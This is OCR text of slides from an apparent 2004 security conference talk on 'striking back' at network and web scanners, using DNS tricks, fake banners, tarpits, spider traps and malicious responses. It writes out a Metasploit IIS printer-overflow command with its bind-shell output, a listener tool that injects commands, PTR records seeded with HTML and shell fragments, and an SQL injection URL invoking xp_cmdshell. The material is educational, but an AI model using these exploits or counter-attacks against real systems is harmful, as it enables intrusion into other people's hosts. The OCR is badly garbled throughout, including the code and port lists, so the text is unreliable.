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Thinking about the concept

We're from South Africa:
—Robbery on Atterbury Road in Pretoria
—Electric fencing around my house

From the insect world:
—Acid bugs —"| don't taste nice”
—Electric eel

Spy Vs. spy:

—Disinformation
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Introduction

Current trends In "assessment” space:
—Technology is getting smarter
—People are getting lazy
—Good “hacker” used to be technically clever
—Tool/scanner for every level of attack

Perceptions:

—Administrators are dumb, “hackers” are clever
—Skill = size of your toolbox

In many cases the mechanic’'s car is always brok
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Types of defensive technology
Robbery analogy:

—Firewalls: Amour plated windows
—-IDS: Police

—-IPS: Driving away

—Back Hack: Carry a gun in the car

Fence analogy:
—Firewalls: Walls
—-IDS: Police
—-IPS: Armed response
—Back Hack: Trigger happy wife...
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Raising the bar

Raising the "cost” of an "assessment”:
Attacking the technology, not the people
Attacking automation; “lets move to the next target”

= Used to be: "Are you sure it's not a honey pot?”

= Now:
—Is YOUR network safe?

—Are YOUR tools safe from attack?
—Do YOU have all the service packs installed?

—Do you measure yourself as you measure your
targets?
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= Typical assessment methodology

Foot printing

Vitality

Network level visibility
Vulnerability discovery
Vulnerability exploitation

Web application assessment
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Attacks

Types:
-Avoiding/Stopping individual attacks
-Creating noise/confusion
-Stopping/Killing the tool
-Killing the attacker's host/network

Levels:
-Network level
-Network application level
-Application level
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Attacks

Attack vectors:

All Information coming back to the attacker Is
under OUR control:
Packets (and all its features)
Forward & reverse DNS entries
Banners
Error codes, messages
Web pages

Our data is used;:

nere the scanner reads the data
here the scanner stores the data
here the scanner renders the data
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Attacks

Disclaimer
m
« Legal
Technical
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Examples

Foot printing:

Avoiding

DNS obfuscation
Noise:

“‘Eat my zonel
Stopping:

Endless loop of forward entries
Killing:

Eeeevil named...
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Examples

Foot printing:
Tools:
Very basic — host, nslookup, dig
Domains: not a lot we can do there..
DNS entries: forward, reverse, axfr, ns

senseFost has some interesting foot printing tools. ..
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root@somwom dnsjava-1.6.2)# java jnamed. conf
named: listening on 0.0.0.0#5%3

named: running

5 host -al 67.30.196.in-addr.arpa 196.30.67.73 | grep IN

1.67.30.196.1n-addr.arpa. 2G400 IN PTR pokkeld.sensepost.com.
100.67.30.196.9n-addr.arpa. 86400 IN PTR haroon.sensepost.com|]s.
«00,67.30.196,.1n-addr.arpa. 36400 IN PTR s, «<3>-TestT</b>.5ensepost.com,
10.67.30.196.1n-addr.arpa. 86400 IN PTR rexacop.sensepost.com.
102.67.30.196.1n-addr.arpa. 86400 IN PTR mh, sensepost.com |ls .
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Examples

Network level:
= Avoiding
Firewall
Noise:

honeyd & transparent reverse proxies
— Random IPs alive
— Random ports open
— Traceroute interception/misdirection
— Fake network broadcast addresses

Stopping:
?77..anyone?

Killing:
nmap with banner display?? (-sV)
VWhere scanners deal with DNS
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Examples

Network level:
] Tools:
Ping sweeps / vitality checkers
Port scanners

nmap, paketto/pulse, superscan,
visualroute, some custom scripts, etc.
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r.' Limfitled - Motepad

#!/bin/perl

SWEBS=7;

$FTP=3;
$GENERIC_PORTS=20;
$GENERIC_IPS=12,
SEROADCASTS=5,;

@GENERIC_PORTLIST=("", "80","21","139","137","445" "389" "1" "4217","99"
a7 Yagh Vggr ¥agh gy vEph eyt Tygee t1qg" Nogp T433n E13n s
13lllll514IF IIE LN 1I?0ﬂll Iaﬂﬂll IF1433IF Flaﬂaﬂll Ilﬁﬂﬂﬂll IIEEG?II 112ﬂ49l1 II1311)

@EXCLUDELIST=(C "196.30.67.100:80",
"196.30.67.100:22",
"196.30.67.105:80",
"196.30.67.6:25",
"196.30.67.5:53",
"196.30.67.6:110");

SLISTENER_WER="127.0.0.1":
SLISTENER_WEB_PORT="8080";
SLISTENER_FTP="127.0.,0.1";
SLISTENER_FTP_PORT="2121";
$LISTENER_GENERIC="127.0.0.1":
SLISTENER_GENERIC_PORT="7777":
SEXTERNAL_IP="196.30.67.18";

$RANGE_START=20;




B Untitled - Motepad

.1,8888 tcp from any to 196.30.67.126 80
.1,7777 tcp from any to 196.30.67.66 80
.1,2121 tcp from any to 196.30.67.66 21
1,1 icmp from any to 196.30.67.104

1,1 jcmp from any to 196.30.67.124

.1,1 1cmp from any to 196.30.67.102

.1,1 1cmp from any to 196.30.67.85

A3 icmp from any to 196.30.67.113
.1,8080 tcp from any to 196.30.67.68 80
.1,8080 tcp from any to 196.30.67.119 80
.1,8080 tcp from any to 196.30.67.79 80
.1,8080 tcp from any to 196.30.67.90 80
.1,8080 tcp from any to 196.30.67.89 80
.1,8080 tcp from any to 196.30.67.69 80
.1,8080 tcp from any to 196.30.67.95 80
.1,2121 tcp from any to 196.30.67.89 21
.1,2121 tcp from any to 196.30.67.113 21
.1,2121 tcp from any to 196.30.67.74 21
.1,7777 tcp from any to 196.30.67.98 2049
.1,7777 tep from any to 196.30.67.74 433
.1,7777 tep from any to 196.30.67.101 99
.1,7777 tcp from any to 196.30.67.67 512
.1,7777 tcp from any to 196.30.67.102 700
11,7777 tcp from any to 196.30.67.93 79
.1,7777 tcp from any to 196.30.67.67 81
.1,7777 tcp from any to 196.30.67.88 139
.1,7777 tcp from any to 196.30.67.78 513
.1,7777 tcp from any to 196.30.67.88

.0
.0
.0
ok
.0
.0
.0
.0
.0
.0
0
.0
.0
.0
.0
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.0
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0
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.0
.0
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Network application level

Avoiding
Patches, patches
=Nnise:
— Fake banners
— Combined banners (to * or not to *)
® - NASL (reverse) interpreter
atopping:

. —  Chasing the time-outs using tarpits

zKilling:
| e

Buffer overflows

Rendering of data — malicious code in HTML

Where data is inserted into databases

Scanners that use other scanners (e.g. using nessus,nmap)
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Network application level

=100ls:
Shareware: Nessus, amap, httpprint,

= metaspoilt

:Ccmmercial: 1SS, Retina, Typhon,
s Foundscan, Qualys, Cisco
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[rootBwomwom strikebackl®# jave screwlerm

Usage : screwlerm <{port-to-listen-on? <I(nvisible)¥(isible)?> "command"
[rootBuwomwom strikebackl# java screwlerm 80 V "ls -al”
Listening on port 80 in -V mode

[Thu Jul 29 09:53:10 SAST 20041 Connection from /192.168.252.100
[LThu Jul 29 09:53:14 SAST 20041 Connection from /192.168.252.100

thiﬂﬂﬂﬂﬂﬂiﬂﬂﬂ
01 Pe———

bash-2.05b% ./msfcli iisS0_printer_overflow PAYLOAD=winbind RPORT=80 RHOS5T=192.168.252.100 LPORT=80 e
[*] Starting Bind Handler.

Le]l Trying Windows 2000 SPO/SP1 using return to esp at 0x/732c4513...

[#] Got connection from 192.168.252.100:80

Microsoft(R) Windows DOS
(C)lopyright Microsoft Corp 1990-2001.

C:Kuinntlﬁunlnnﬂﬂ}

*L1l:1s -al"[\bash-2.05b% 1l:ls -al

bash: 1: command not found

total 102

druxr—-xr-x 11 haroon wheel 212 Jul 29 11:15 .
druxr—xr—x 4 haroon wheel 512 Jul 29 11:15 ..



Microsoft(R) Windows DOS
(C)Copyright Microsoft Corp 1990-2001.

C:\winnt\system32>




Application level & (web server assessment)

Avoiding
Application level firewall
=Nnise:
—  OnlIPs notin use:
+  Random 404 500,302 200 responses

+  but not enough to trigger Mikto
+  Fooling Messus's no 404 plugin

—  Within the application

u «  Bogus forms, fields
+  Pages with "ODEBC connect error”
o +  See Saumil shah's PHP Guard. .

=St0pping:
Spider traps, Human/browser detectors

gKilling:
—  "You are an idiotl” and other malicious HTML code
— Bait files.. Admintool.exe and friends in /files, /admin
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|
Tools:

Shareware: Nikto, Nessus, Whisker?,
=  \WebScarab, Exodus, Pharos, Spike,
Httrack, Teleport pro

"*Commercial: Sanctum Appscan, Cenzic
Hailstorm, Kavado Scando, SPI Dynamics
Weblnspect, @stake webproxy
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View Session Results - RT_STRIKE_BACK (Preview mode)

“ . x.l )

Yulnerabdibes:

- = 197 165,192,164
M hitp [80/tcp
@ hitp (804cp)
€ hittp A0/ tep)
My hittp [80/tep)
My http (80/cp)
€3 hitp [80/tcp)
My http (B0/tcp)
€ hitp [A0/tep)
€ hitp (B0Mep)
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M hitp (80/tcp)
€3 hitp [80/tcp)
€3 hitp [80/cp)
€ hitp (B0/tep)
€ hitp (B0Mep)
€ hitp (B0Mep)

192.168.192.164

FPlugin information Yulrerability
Plugin 1D: 11731 Q hitp [B0/tcp)
VsSetCookie. exe vulnerability High severity

r

Descrphion:

The file VsSelCookie.exe exsts on this webserver,
Some versions of this fle are vulnerable to remote explait,

Solution : remove it from Acgi-bin,
Tomanually test the servet, pou can by
httpc /< zervenps fogrbndsSetCookie. exne Mvauser={uzer_name>

With a conrectly guessed User Mame, pou will gain full access to the CGI,

“* Az Meszsus solel rebed on the banner of the remote host
== thas might be a false positive

€ hitp [80/cp)

ﬁ _}_ﬁm[m,_!iipj Risk factor : Senous

© Hip (50/1op) CVE - CAN-2002:0236

BID : 3784
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— defending against

The story so far..

Operates on network level

Acts as a proxy — typically on firewall
_ow overhead

Uses Flash to create sessionlDs
Uses cookies to track sessions

Can be integrated with IPS
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Valid
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2 hitp://196.30.67_30/show.php?p=20'exec master._xp_cmdshell ‘cls’- - Microsoft Intemn... | [ |
—ﬂl
> BR @& 9 * | &= &

You are naughty

| will blacklist your Cookia

hitp:/196.30.67.30fsh ow.php 7p=20"exec%20master. }cp cmdshell%20'cls™--

|




Content level

Throwing bait to listeners

Echelon type noise in email signatures
Fake email addresses/conversations
Traffic that bites back
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These techniques do not make your
network safer?

IPS is getting smarter

— The closer to the application level they go, the more
accurate they become.

You should worry when administrators
start thinking like hackers...
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